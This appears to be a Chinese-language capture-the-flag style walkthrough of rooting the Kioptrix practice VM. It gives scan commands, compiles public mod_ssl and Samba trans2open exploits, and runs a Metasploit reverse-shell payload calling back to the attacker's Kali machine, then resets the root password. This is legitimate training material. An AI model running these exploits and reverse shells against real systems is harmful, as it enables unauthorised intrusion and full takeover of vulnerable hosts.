夫君子之行,静以修身,俭以养德,非淡泊无以明志,非宁静无以致远
Kali(IP:10.10.16.128)
Kioptrix 靶机
NAT 网络连接
nmap -sP 10.10.16.0/24
nmap -A -v -sS -sP -p- -T4 10.10.16.152
得到开放的端口:22,80,111,139,443,1024,并得到在对应端口下使用的软件(mod_ssl/samba)。
通过端口扫描得知 apache-1.3.20,openssl-0.9.6b,mod_ssl-2.8.4(老版,谷歌搜索漏洞)
对于端口使用的插件,在下面将专门对其进行漏洞挖掘
dirb http://10.10.16.152
nikto -h 10.10.16.152
使用 nikto 进行 web 扫描发现几处可利用漏洞。
可以使用在线漏洞数据库搜索相对应的版本漏洞
https://www.exploit-db.com/search
使用 Kali 自带的漏洞查找工具查找本地所有漏洞和 shellcode
searchsploit mod_ssl
ps: 如果使用 764.c 脚本的话,应为该脚本版本太老,所以还需对其内容进行修改,有点麻烦,这里直接使用 47080.c 脚本。
764.c 修改
在桌面新建一个 Kioptrix 文件夹,将 47080.c 文件拷贝过去,查看文件头得知文件的使用方法:要先安装 libssl-dev 库才能编译文件。
cp /usr/share/exploitdb/exploits/unix/remote/47080.c .
head 47080.c
sudo apt-get install libssl-dev
gcc -o OpenFuck 47080.c -lcrypto
编译之后运行生成的二进制文件,发现使用该二进制文件的方法。
由于该靶机使用 apache-1.3.20,所以将 target 定位到 0x6a - 0x6b
利用 msf 的 auxiliary/scanner/smb/smb_version 模块得知靶机使用 samba-2.2.1a
搜索 samba 2.2 的漏洞利用模块,发现最下方的 Remote Code Excution
将该模块下的脚本复制到自定义的文件夹里面,查看文件头,编译脚本。
cp /usr/share/exploitdb/exploits/multiple/remote/10.c .
head 10.c
gcc -o samba 10.c
./samba -b 0 10.10.16.152 # -b 0 是指 Linux
gcc -o call_trans2open 22469.c
./call_trans2open -t 10.10.16.152
从上面 searchsploit 的结果来看,还有几个模块是关于 metasploit 的,因此可以利用 msf 来getshell 提权。
msfconsole
use exploit/linux/samba/trans2open
使用 show options 查看要添加什么参数
使用该模块下的一个 payload
set payload linux/x86/shell_reverse_tcp
set rhosts 10.10.16.152
set lhost 10.10.16.128
exploit
ps: 使用 python -v 查看当前 python 版本是 python 1.5 ,所以不能使用 python -c ‘import pty;pty.spawn("/bin/bash");’ ,可以使用 passwd 可以改变 root 密码,然后通过 ssh 登录 root 账户获取完全交互式 shell。
cat /var/mail/root
猪头
2020.3.15